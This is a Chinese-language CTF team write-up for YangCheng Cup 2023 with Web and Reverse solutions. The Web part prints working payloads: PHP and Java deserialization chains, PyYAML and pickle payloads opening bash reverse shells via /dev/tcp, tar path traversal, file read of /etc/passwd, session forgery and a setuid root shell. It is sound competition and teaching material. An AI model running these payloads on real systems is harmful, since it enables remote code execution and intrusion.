本次 羊城杯 2023,我们 北极星 战队排名第2。
排名 | 队伍 | 总分 |
---|---|---|
1 | S1uM4i | 12323.36 |
2 | 北极星 | 12322.49 |
3 | 你从来不是孤身一人 | 12322.43 |
4 | AuroraSZU | 11828.05 |
5 | Hor1zon | 11826.07 |
6 | WYE | 11825.69 |
7 | 去有风的地方 | 11825.55 |
8 | N0wayBack | 11824.99 |
9 | HnuSec | 11824.49 |
10 | 0psu3 | 11822.86 |
Web
D0n’t pl4y g4m3!!!
经典php7.4.21源码泄露
hint.txt解码
<?php
class Pro{
private $exp;
private $rce2;
public function __construct()
{
$this->rce = "a";
}
public function __get($name)
{
return $this->$rce2=$this->exp[$rce2];
}
public function __toString()
{
call_user_func('system', "cat /flag");
}
}
class Yang
{
public $finish;
public $key = true;
public $now;
public function __construct(){
$this->finish = new Cheng();
$this->now = ["YCB1"=>"show_source"];
}public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);
}
}
}
public function ycb()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __construct()
{
//$this->finish = new Pro();
$this->name = ["finish"=>new Pro()];
}
public function __get($value)
{
return $this->$value = $this->name[$value];
}
}
class Bei
{ public $CTF;
public $rce;
public $rce1;
public $finish;
public function __construct(){
$this->rce = "/tmp/catcatf1ag.txt";
$this->rce1 = "/tmp/catcatf1ag.txt";
$this->finish = true;
}
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}
function prohib($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
return preg_replace($filter,'',$a);
}
$a = new Bei();
$a->CTF = new Yang();
$a->fine = new Yang();
echo urlencode(serialize($a));
//unserialize($a);
?>
/tmp/catcatf1ag.txt
O%3A3%3A%22Bei%22%3A5%3A%7Bs%3A3%3A%22CTF%22%3BO%3A4%3A%22Yang%22%3A3%3A%7Bs%3A6%3A%22finish%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3BN%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3BO%3A3%3A%22Pro%22%3A3%3A%7Bs%3A8%3A%22%00Pro%00exp%22%3BN%3Bs%3A9%3A%22%00Pro%00rce2%22%3BN%3Bs%3A3%3A%22rce%22%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A3%3A%22key%22%3Bb%3A1%3Bs%3A3%3A%22now%22%3Ba%3A1%3A%7Bs%3A4%3A%22YCB1%22%3Bs%3A11%3A%22show_source%22%3B%7D%7Ds%3A3%3A%22rce%22%3Bs%3A19%3A%22%2Ftmp%2Fcatcatf1ag.txt%22%3Bs%3A4%3A%22rce1%22%3Bs%3A19%3A%22%2Ftmp%2Fcatcatf1ag.txt%22%3Bs%3A6%3A%22finish%22%3Bb%3A1%3Bs%3A4%3A%22fine%22%3BO%3A4%3A%22Yang%22%3A3%3A%7Bs%3A6%3A%22finish%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3BN%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3BO%3A3%3A%22Pro%22%3A3%3A%7Bs%3A8%3A%22%00Pro%00exp%22%3BN%3Bs%3A9%3A%22%00Pro%00rce2%22%3BN%3Bs%3A3%3A%22rce%22%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A3%3A%22key%22%3Bb%3A1%3Bs%3A3%3A%22now%22%3Ba%3A1%3A%7Bs%3A4%3A%22YCB1%22%3Bs%3A11%3A%22show_source%22%3B%7D%7D%7D
ezyaml
exp.yaml
exp: !!python/object/apply:os.system ["bash -c 'bash -i >& /dev/tcp/xxxxx/xxxxx 0>&1'"]
用cve-2016-6321覆盖到config下面的yaml文件
https://blog.csdn.net/wanmiqi/article/details/110202417
tar cPvf exp.tar ../../../../../../../../app/config/exp.yaml
url = "http://xxxx/upload"
files = {"file":("exp.tar",open("exp.tar","rb").read())}
res = requests.post(url=url,files=files)
/src?username=exp
ArkNights
又非预期了
拿到源码 发现这里的read路由并没做什么限制,只ban了flag
@app.route('/read')
def read():
file = request.args.get('file')
fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
if fileblacklist:
return "bad hacker!"
start=request.args.get("start","0")
end=request.args.get("end","0")
if start=="0" and end=="0":
return open(file,"rb").read()
else:
start,end=int(start),int(end)
f=open(file,"rb")
f.seek(start)
data=f.read(end)
return data
尝试去读url/read?file=/etc/passwd
发现可以读出来
就试着读环境变量
Serpent
session伪造exp:
from flask import Flask,session
import os
app = Flask(__name__)
app.config['SECRET_KEY']='GWHTYwUrVd0cik'
@app.route('/')
def index():
session['Attribute'] = {}
session['Attribute']['name'] = 'admin'
session['Attribute']['admin'] = 1
return 1
if __name__=='__main__':
app.run()
抓包获取到一个路由/ppppppppppick1e,访问/src0de获取源码
@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]
@app.route('/ppppppppppick1e')
def ppppppppppick1e():
try:
username = "admin"
rsp = make_response("Hello, %s " % username)
rsp.headers['hint'] = "Source in /src0de"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if check(pick1e):
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message
return rsp
class GWHT():
def __init__(self):
pass
if __name__ == '__main__':
app.run('0.0.0.0', port=80)
pickle.loads造成rce,反弹shell
(S'bash -c "bash -i >& /dev/tcp/ip/2336 0>&1"'
ios
system
.
/flag需要权限,linux提权(python的os.setuid(0)提权)
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
Ez_java
jd-gui反编译
发现
HtmlMap implements Map, Serializable,里面的 get方法触发HtmlUploadUtil#uploadfile
HtmlInvocationHandler implements InvocationHandler,并且有invoke方法
HtmlUploadUtil是一个上传文件的功能,需要.ftl结尾
并且会触发模板
@RequestMapping({"/templating"})
public String templating(@RequestParam String name, Model model) {
model.addAttribute("name", name);
return "index";
}
所以考虑动态代理,触发invoke方法->HtmlMap#get方法->HtmlUploadUtil#uploadfile,把原来的index.ftl替换掉,直接找网上现成的freemarker模板
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ycbjava.Utils;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
public class aaa {
public static String string;
public aaa() {
}
public static void main(String[] args) throws Exception {
HtmlMap htmlMap = new HtmlMap();
htmlMap.filename = "index.ftl";
htmlMap.content = "${name}
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()(name)}
${VOID}";
ClassLoader classLoader = htmlMap.getClass().getClassLoader();
Class[] interfaces = htmlMap.getClass().getInterfaces();
HtmlInvocationHandler infoInvocationHandler = new HtmlInvocationHandler(htmlMap);
Map proxy = (Map)Proxy.newProxyInstance(classLoader, interfaces, infoInvocationHandler);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException((Object)null);
Field declaredField = badAttributeValueExpException.getClass().getDeclaredField("val");
declaredField.setAccessible(true);
declaredField.set(badAttributeValueExpException, proxy);
serial(badAttributeValueExpException);
}
private static void serial(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.flush();
objectOutputStream.close();
string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(string);
}
}
首先访问/getflag?data=base64,然后直接访问/templating?name=cat /flag获得flag
Reverse
Ez加密器
首先是输入code 必须为6位 然后程序进行一个变表的base64编码 编码之后作为密钥key 对数据进行DES加密
爆破六位code 并且解密DES即可
flag = "DASCTF{1234567890abcdef1234567890abcdef}"
from Crypto.Cipher import DES
import base64
key = bytes([0x6D, 0x74, 0x69, 0x50, 0x6E, 0x64, 0x75, 0x53 ])
print(key)
def base64_encode(data):
oldtable='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'#老表
newtable='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+/'#这里输入魔改变表
tmp = base64.b64encode(data.encode()).decode()
result=''
for ch in tmp:
result +=newtable[oldtable.index(ch)]
return result
## key = base64_encode("123456")
## print(key)
for i in range(0,1000000):
tmp_key = str(i).rjust(6,"0")
tmp_key = base64_encode(tmp_key)
#print(tmp_key)
des = DES.new(tmp_key.encode(),mode=DES.MODE_ECB)
c = bytes.fromhex("0723105D5C12217DCDC3601F5ECB54DA9CCEC2279F1684A13A0D716D17217F4C9EA85FF1A42795731CA3C55D3A4D7BEA")
m = des.decrypt(c)
if(b"DAS" in m):
print(m)
CSGO
动调调试 取出来base64的密码表
然后解码就可以
enc="cPQebAcRp+n+ZeP+YePEWfP7bej4YefCYd/7cuP7WfcPb/URYeMRbesObi/="
table="LMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJK"
flag="DASCTF{73913519-A0A6-5575-0F10-DDCBF50FA8CA}"
Blast
程序每次取输入的一个字符进行md5 编码之后将输出的hex格式的字符串再次进行一次md5 保存下来 最后与密文进行对比
采用爆破的方法即可
from hashlib import md5
from string import printable
enc=[ 0x31, 0x34, 0x64, 0x38, 0x39, 0x63, 0x33, 0x38, 0x63, 0x64,
0x30, 0x66, 0x62, 0x32, 0x33, 0x61, 0x31, 0x34, 0x62, 0x65,
0x32, 0x37, 0x39, 0x38, 0x64, 0x34, 0x34, 0x39, 0x63, 0x31,
0x38, 0x32, 0x00, 0x61, 0x39, 0x34, 0x38, 0x33, 0x37, 0x62,
0x31, 0x38, 0x66, 0x38, 0x66, 0x34, 0x33, 0x66, 0x32, 0x39,
0x34, 0x34, 0x38, 0x62, 0x34, 0x30, 0x61, 0x36, 0x65, 0x37,
0x33, 0x38, 0x36, 0x62, 0x61, 0x00, 0x61, 0x66, 0x38, 0x35,
0x64, 0x35, 0x31, 0x32, 0x35, 0x39, 0x34, 0x66, 0x63, 0x38,
0x34, 0x61, 0x35, 0x63, 0x36, 0x35, 0x65, 0x63, 0x39, 0x39,
0x37, 0x30, 0x39, 0x35, 0x36, 0x65, 0x61, 0x35, 0x00, 0x61,
0x66, 0x38, 0x35, 0x64, 0x35, 0x31, 0x32, 0x35, 0x39, 0x34,
0x66, 0x63, 0x38, 0x34, 0x61, 0x35, 0x63, 0x36, 0x35, 0x65,
0x63, 0x39, 0x39, 0x37, 0x30, 0x39, 0x35, 0x36, 0x65, 0x61,
0x35, 0x00, 0x31, 0x30, 0x65, 0x32, 0x31, 0x64, 0x61, 0x32,
0x33, 0x37, 0x61, 0x34, 0x61, 0x31, 0x34, 0x39, 0x31, 0x65,
0x37, 0x36, 0x39, 0x64, 0x66, 0x36, 0x66, 0x34, 0x63, 0x33,
0x62, 0x34, 0x31, 0x39, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65,
0x38, 0x32, 0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33,
0x66, 0x30, 0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33,
0x36, 0x66, 0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x32, 0x39,
0x37, 0x65, 0x37, 0x63, 0x61, 0x31, 0x32, 0x37, 0x64, 0x32,
0x65, 0x65, 0x66, 0x36, 0x37, 0x34, 0x63, 0x31, 0x31, 0x39,
0x33, 0x33, 0x31, 0x66, 0x65, 0x33, 0x30, 0x64, 0x66, 0x66,
0x00, 0x62, 0x35, 0x64, 0x32, 0x30, 0x39, 0x39, 0x65, 0x34,
0x39, 0x62, 0x64, 0x62, 0x30, 0x37, 0x62, 0x38, 0x31, 0x37,
0x36, 0x64, 0x66, 0x66, 0x35, 0x65, 0x32, 0x33, 0x62, 0x33,
0x63, 0x31, 0x34, 0x00, 0x38, 0x33, 0x62, 0x65, 0x32, 0x36,
0x34, 0x65, 0x62, 0x34, 0x35, 0x32, 0x66, 0x63, 0x66, 0x30,
0x61, 0x31, 0x63, 0x33, 0x32, 0x32, 0x66, 0x32, 0x63, 0x37,
0x63, 0x62, 0x66, 0x39, 0x38, 0x37, 0x00, 0x61, 0x39, 0x34,
0x38, 0x33, 0x37, 0x62, 0x31, 0x38, 0x66, 0x38, 0x66, 0x34,
0x33, 0x66, 0x32, 0x39, 0x34, 0x34, 0x38, 0x62, 0x34, 0x30,
0x61, 0x36, 0x65, 0x37, 0x33, 0x38, 0x36, 0x62, 0x61, 0x00,
0x37, 0x31, 0x62, 0x30, 0x34, 0x33, 0x38, 0x62, 0x66, 0x34,
0x36, 0x61, 0x61, 0x32, 0x36, 0x39, 0x32, 0x38, 0x63, 0x37,
0x66, 0x35, 0x61, 0x33, 0x37, 0x31, 0x64, 0x36, 0x31, 0x39,
0x65, 0x31, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 0x32,
0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 0x30,
0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 0x66,
0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x61, 0x63, 0x34, 0x39,
0x30, 0x37, 0x33, 0x61, 0x37, 0x31, 0x36, 0x35, 0x66, 0x34,
0x31, 0x63, 0x35, 0x37, 0x65, 0x62, 0x32, 0x63, 0x31, 0x38,
0x30, 0x36, 0x61, 0x37, 0x30, 0x39, 0x32, 0x65, 0x00, 0x61,
0x39, 0x34, 0x38, 0x33, 0x37, 0x62, 0x31, 0x38, 0x66, 0x38,
0x66, 0x34, 0x33, 0x66, 0x32, 0x39, 0x34, 0x34, 0x38, 0x62,
0x34, 0x30, 0x61, 0x36, 0x65, 0x37, 0x33, 0x38, 0x36, 0x62,
0x61, 0x00, 0x61, 0x66, 0x38, 0x35, 0x64, 0x35, 0x31, 0x32,
0x35, 0x39, 0x34, 0x66, 0x63, 0x38, 0x34, 0x61, 0x35, 0x63,
0x36, 0x35, 0x65, 0x63, 0x39, 0x39, 0x37, 0x30, 0x39, 0x35,
0x36, 0x65, 0x61, 0x35, 0x00, 0x65, 0x64, 0x31, 0x30, 0x38,
0x66, 0x36, 0x39, 0x31, 0x39, 0x65, 0x62, 0x61, 0x64, 0x63,
0x38, 0x65, 0x38, 0x30, 0x39, 0x66, 0x38, 0x62, 0x38, 0x36,
0x65, 0x66, 0x34, 0x30, 0x62, 0x30, 0x35, 0x00, 0x31, 0x30,
0x65, 0x32, 0x31, 0x64, 0x61, 0x32, 0x33, 0x37, 0x61, 0x34,
0x61, 0x31, 0x34, 0x39, 0x31, 0x65, 0x37, 0x36, 0x39, 0x64,
0x66, 0x36, 0x66, 0x34, 0x63, 0x33, 0x62, 0x34, 0x31, 0x39,
0x00, 0x33, 0x63, 0x66, 0x64, 0x34, 0x33, 0x36, 0x39, 0x31,
0x39, 0x62, 0x63, 0x33, 0x31, 0x30, 0x37, 0x64, 0x36, 0x38,
0x62, 0x39, 0x31, 0x32, 0x65, 0x65, 0x36, 0x34, 0x37, 0x66,
0x33, 0x34, 0x31, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38,
0x32, 0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66,
0x30, 0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36,
0x66, 0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x36, 0x35, 0x63,
0x31, 0x36, 0x32, 0x66, 0x37, 0x63, 0x34, 0x33, 0x36, 0x31,
0x32, 0x62, 0x61, 0x31, 0x62, 0x64, 0x66, 0x34, 0x64, 0x30,
0x66, 0x32, 0x39, 0x31, 0x32, 0x62, 0x62, 0x63, 0x30, 0x00,
0x31, 0x30, 0x65, 0x32, 0x31, 0x64, 0x61, 0x32, 0x33, 0x37,
0x61, 0x34, 0x61, 0x31, 0x34, 0x39, 0x31, 0x65, 0x37, 0x36,
0x39, 0x64, 0x66, 0x36, 0x66, 0x34, 0x63, 0x33, 0x62, 0x34,
0x31, 0x39, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 0x32,
0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 0x30,
0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 0x66,
0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x33, 0x63, 0x66, 0x64,
0x34, 0x33, 0x36, 0x39, 0x31, 0x39, 0x62, 0x63, 0x33, 0x31,
0x30, 0x37, 0x64, 0x36, 0x38, 0x62, 0x39, 0x31, 0x32, 0x65,
0x65, 0x36, 0x34, 0x37, 0x66, 0x33, 0x34, 0x31, 0x00, 0x35,
0x35, 0x37, 0x34, 0x36, 0x30, 0x64, 0x33, 0x31, 0x37, 0x61,
0x65, 0x38, 0x37, 0x34, 0x63, 0x39, 0x32, 0x34, 0x65, 0x39,
0x62, 0x65, 0x33, 0x33, 0x36, 0x61, 0x38, 0x33, 0x63, 0x62,
0x65, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 0x32, 0x38,
0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 0x30, 0x37,
0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 0x66, 0x33,
0x38, 0x32, 0x37, 0x61, 0x00, 0x39, 0x32, 0x30, 0x33, 0x64,
0x38, 0x61, 0x32, 0x36, 0x65, 0x32, 0x34, 0x31, 0x65, 0x36,
0x33, 0x65, 0x34, 0x62, 0x33, 0x35, 0x62, 0x33, 0x35, 0x32,
0x37, 0x34, 0x34, 0x30, 0x39, 0x39, 0x38, 0x00, 0x31, 0x30,
0x65, 0x32, 0x31, 0x64, 0x61, 0x32, 0x33, 0x37, 0x61, 0x34,
0x61, 0x31, 0x34, 0x39, 0x31, 0x65, 0x37, 0x36, 0x39, 0x64,
0x66, 0x36, 0x66, 0x34, 0x63, 0x33, 0x62, 0x34, 0x31, 0x39,
0x00, 0x66, 0x39, 0x31, 0x62, 0x32, 0x36, 0x36, 0x33, 0x66,
0x65, 0x62, 0x62, 0x61, 0x38, 0x61, 0x38, 0x38, 0x34, 0x34,
0x38, 0x37, 0x66, 0x37, 0x64, 0x65, 0x35, 0x65, 0x31, 0x64,
0x32, 0x34, 0x39, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38,
0x32, 0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66,
0x30, 0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36,
0x66, 0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x64, 0x37, 0x61,
0x66, 0x64, 0x65, 0x33, 0x65, 0x37, 0x30, 0x35, 0x39, 0x63,
0x64, 0x30, 0x61, 0x30, 0x66, 0x65, 0x30, 0x39, 0x65, 0x65,
0x63, 0x34, 0x62, 0x30, 0x30, 0x30, 0x38, 0x63, 0x64, 0x00,
0x34, 0x38, 0x38, 0x63, 0x34, 0x32, 0x38, 0x63, 0x64, 0x34,
0x61, 0x38, 0x64, 0x39, 0x31, 0x36, 0x64, 0x65, 0x65, 0x65,
0x37, 0x63, 0x31, 0x36, 0x31, 0x33, 0x63, 0x38, 0x62, 0x32,
0x66, 0x64, 0x00, 0x33, 0x39, 0x61, 0x62, 0x65, 0x34, 0x62,
0x63, 0x61, 0x39, 0x30, 0x34, 0x62, 0x63, 0x61, 0x35, 0x61,
0x31, 0x31, 0x31, 0x32, 0x31, 0x39, 0x35, 0x35, 0x61, 0x32,
0x39, 0x39, 0x36, 0x62, 0x66, 0x00, 0x61, 0x37, 0x30, 0x35,
0x65, 0x38, 0x32, 0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39,
0x33, 0x66, 0x30, 0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36,
0x33, 0x36, 0x66, 0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x33,
0x63, 0x66, 0x64, 0x34, 0x33, 0x36, 0x39, 0x31, 0x39, 0x62,
0x63, 0x33, 0x31, 0x30, 0x37, 0x64, 0x36, 0x38, 0x62, 0x39,
0x31, 0x32, 0x65, 0x65, 0x36, 0x34, 0x37, 0x66, 0x33, 0x34,
0x31, 0x00, 0x33, 0x39, 0x61, 0x62, 0x65, 0x34, 0x62, 0x63,
0x61, 0x39, 0x30, 0x34, 0x62, 0x63, 0x61, 0x35, 0x61, 0x31,
0x31, 0x31, 0x32, 0x31, 0x39, 0x35, 0x35, 0x61, 0x32, 0x39,
0x39, 0x36, 0x62, 0x66, 0x00, 0x34, 0x65, 0x34, 0x34, 0x66,
0x31, 0x61, 0x63, 0x38, 0x35, 0x63, 0x64, 0x36, 0x30, 0x65,
0x33, 0x63, 0x61, 0x61, 0x35, 0x36, 0x62, 0x66, 0x64, 0x34,
0x61, 0x66, 0x62, 0x36, 0x37, 0x35, 0x65, 0x00, 0x34, 0x35,
0x63, 0x66, 0x38, 0x64, 0x64, 0x66, 0x61, 0x65, 0x31, 0x64,
0x37, 0x38, 0x37, 0x34, 0x31, 0x64, 0x38, 0x66, 0x31, 0x63,
0x36, 0x32, 0x32, 0x36, 0x38, 0x39, 0x65, 0x34, 0x61, 0x66,
0x00, 0x33, 0x63, 0x66, 0x64, 0x34, 0x33, 0x36, 0x39, 0x31,
0x39, 0x62, 0x63, 0x33, 0x31, 0x30, 0x37, 0x64, 0x36, 0x38,
0x62, 0x39, 0x31, 0x32, 0x65, 0x65, 0x36, 0x34, 0x37, 0x66,
0x33, 0x34, 0x31, 0x00, 0x33, 0x39, 0x61, 0x62, 0x65, 0x34,
0x62, 0x63, 0x61, 0x39, 0x30, 0x34, 0x62, 0x63, 0x61, 0x35,
0x61, 0x31, 0x31, 0x31, 0x32, 0x31, 0x39, 0x35, 0x35, 0x61,
0x32, 0x39, 0x39, 0x36, 0x62, 0x66, 0x00, 0x34, 0x65, 0x34,
0x34, 0x66, 0x31, 0x61, 0x63, 0x38, 0x35, 0x63, 0x64, 0x36,
0x30, 0x65, 0x33, 0x63, 0x61, 0x61, 0x35, 0x36, 0x62, 0x66,
0x64, 0x34, 0x61, 0x66, 0x62, 0x36, 0x37, 0x35, 0x65, 0x00,
0x33, 0x37, 0x33, 0x32, 0x37, 0x62, 0x62, 0x30, 0x36, 0x63,
0x38, 0x33, 0x63, 0x62, 0x32, 0x39, 0x63, 0x65, 0x66, 0x64,
0x65, 0x31, 0x39, 0x36, 0x33, 0x65, 0x61, 0x35, 0x38, 0x38,
0x61, 0x61, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 0x32,
0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 0x30,
0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 0x66,
0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x32, 0x33, 0x65, 0x36,
0x35, 0x61, 0x36, 0x37, 0x39, 0x31, 0x30, 0x35, 0x62, 0x38,
0x35, 0x63, 0x35, 0x64, 0x63, 0x37, 0x30, 0x33, 0x34, 0x66,
0x64, 0x65, 0x64, 0x34, 0x66, 0x62, 0x35, 0x66, 0x00, 0x31,
0x30, 0x65, 0x32, 0x31, 0x64, 0x61, 0x32, 0x33, 0x37, 0x61,
0x34, 0x61, 0x31, 0x34, 0x39, 0x31, 0x65, 0x37, 0x36, 0x39,
0x64, 0x66, 0x36, 0x66, 0x34, 0x63, 0x33, 0x62, 0x34, 0x31,
0x39, 0x00, 0x37, 0x31, 0x62, 0x30, 0x34, 0x33, 0x38, 0x62,
0x66, 0x34, 0x36, 0x61, 0x61, 0x32, 0x36, 0x39, 0x32, 0x38,
0x63, 0x37, 0x66, 0x35, 0x61, 0x33, 0x37, 0x31, 0x64, 0x36,
0x31, 0x39, 0x65, 0x31, 0x00, 0x61, 0x66, 0x38, 0x35, 0x64,
0x35, 0x31, 0x32, 0x35, 0x39, 0x34, 0x66, 0x63, 0x38, 0x34,
0x61, 0x35, 0x63, 0x36, 0x35, 0x65, 0x63, 0x39, 0x39, 0x37,
0x30, 0x39, 0x35, 0x36, 0x65, 0x61, 0x35, 0x00, 0x33, 0x39,
0x61, 0x62, 0x65, 0x34, 0x62, 0x63, 0x61, 0x39, 0x30, 0x34,
0x62, 0x63, 0x61, 0x35, 0x61, 0x31, 0x31, 0x31, 0x32, 0x31,
0x39, 0x35, 0x35, 0x61, 0x32, 0x39, 0x39, 0x36, 0x62, 0x66]
print(len(enc)/32)
for t in range(48):
tmp = bytes(enc[t*33:t*33+32])
#print(tmp)
for i in printable:
if(md5(md5(i.encode()).hexdigest().encode()).hexdigest() ==tmp.decode()):
print(i,end='')
##0CC175B9C0F1B6A831C399E26977266161
vmwo
一个自己的实现的vmp
自己伪造一个 然后逐位爆破即可
import struct
def exec(cin, a2):
start = False
v2 = buf[0]
if v2 < a2:
while True:
if (start):
buf[0] += 3
v2 = buf[0]
if (buf[0] >= a2):
break
if (not start):
start = True
for m in range(0, 3):
vm_body[m] &= 0xff
v6 = cin[v2]
v7 = cin[v2+1]
v8 = cin[v2+1]
v9 = cin[v2+2]
v10 = v9
if v6 == 0:
v11 = vm_body[v8]
vm_body[v8] = vm_body[v10]
vm_body[v10] = v11
elif v6 == 1:vm_body[v8] ^= vm_body[v9]
elif v6 == 2:vm_body[v8] += v9
elif v6 == 3:vm_body[v8] += vm_body[v9]
elif v6 == 4:vm_body[v8] -= v9
elif v6 == 5:vm_body[v8] -= vm_body[v9]
elif v6 == 6:vm_body[v8] *= v9
elif v6 == 7:vm_body[v8] *= vm_body[v9]
elif v6 == 8:vm_body[v8] = vm_body[v8] / v9
elif v6 == 9:vm_body[v8] = vm_body[v8] / vm_body[v9]
elif v6 == 10: vm_body[v8] = vm_body[v8] % v9
elif v6 == 11:vm_body[v8] = vm_body[v8] % vm_body[v9]
elif v6 == 12:
v12 = vm_body[v8]
vm_body[v8] = v12 << v9
elif v6 == 13:
v12 = vm_body[0]
vm_body[v8] = v12 << v9
elif v6 == 14:
v15 = vm_body[v8]
vm_body[buf[1] + 16] = v15
buf[1] += 1
elif v6 == 15:v13 = vm_body[v8]
elif v6 == 16:
v14 = buf[1] - 1
buf[1] -= 1
v13 = vm_body[v14 + 16]
# print(v13)
elif v6 == 17:
if not vm_body[v8]:
buf[0] = v9
elif v6 == 18:
if vm_body[v8]:
buf[0] = v9
elif v6 == 19:
buf[0] = v7
elif v6 == 20:
v8 = vm_body[v8]
v15 = vm_body[v8]
vm_body[buf[1] + 16] = v15
buf[1] += 1
elif v6 == 21:
v16 = buf[1] - 1
buf[1] -= 1
vm_body[0] = vm_body[v16 + 16]
elif v6 == 22:
v15 = v7
vm_body[buf[1] + 16] = v15
buf[1] += 1
elif v6 == 23:
buf[0] -= 3
elif v6 == 24:
vm_body[0] = vm_body[2] | vm_body[1]
elif v6 == 25:
# print(vm_body[0], v9)
vm_body[v8] = vm_body[0] >> v9
elif v6 == 26:
vm_body[v8] = v9
else:
continue
buf[0] = 0
return
enc= [0xDF, 0xD5, 0xF1, 0xD1, 0xFF, 0xDB, 0xA1, 0xA5, 0x89, 0xBD,
0xE9, 0x95, 0xB3, 0x9D, 0xE9, 0xB3, 0x85, 0x99, 0x87, 0xBF,
0xE9, 0xB1, 0x89, 0xE9, 0x91, 0x89, 0x89, 0x8F, 0xAD]
alpht = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{|}~"
flag = [0]*30
index = 0
while ((index) < 28):
for i in alpht:
vm_body = [0]*0x10
buf = [0]*2
flag[index] = ord(i)
out = [0]*30
vm_body[3:3+4] = 0xBEEDBEEF.to_bytes(4, byteorder="little")
a1 = 0
v2 = index+1
code = [0]*64
while (v2):
v2 -= 1
code[48:48+8] = 0x20D01011903001A.to_bytes(8, byteorder="little")
code[55:55+8] = 0x300010201180702.to_bytes(8, byteorder="little")
code[50] = flag[a1]
exec(code[48:], 15)
code[32:32+8] = 0x20D02011903001A.to_bytes(8, byteorder="little")
code[39:39+8] = 0x400010201180602.to_bytes(8, byteorder="little")
code[34] = vm_body[0]
exec(code[32:], 15)
code[16:16+8] = 0x20D03011903001A.to_bytes(8, byteorder="little")
code[23:23+8] = 0x500010201180502.to_bytes(8, byteorder="little")
code[18] = vm_body[0]
exec(code[16:], 15)
code[0:0+8] = 0x20D04011903001A.to_bytes(8, byteorder="little")
code[7:7+8] = 0x600010201180402.to_bytes(8, byteorder="little")
code[2] = vm_body[0]
exec(code, 15)
out[a1] = ((vm_body[0] >> 5) | (vm_body[0] << 3)) & 0xff
a1 += 1
for u in range(index, index+1):
if out[index] != enc[index]:
break
else:
print(chr(flag[index]), end='')
index += 1
break
else:
break
Crypto
Danger_RSA
$$
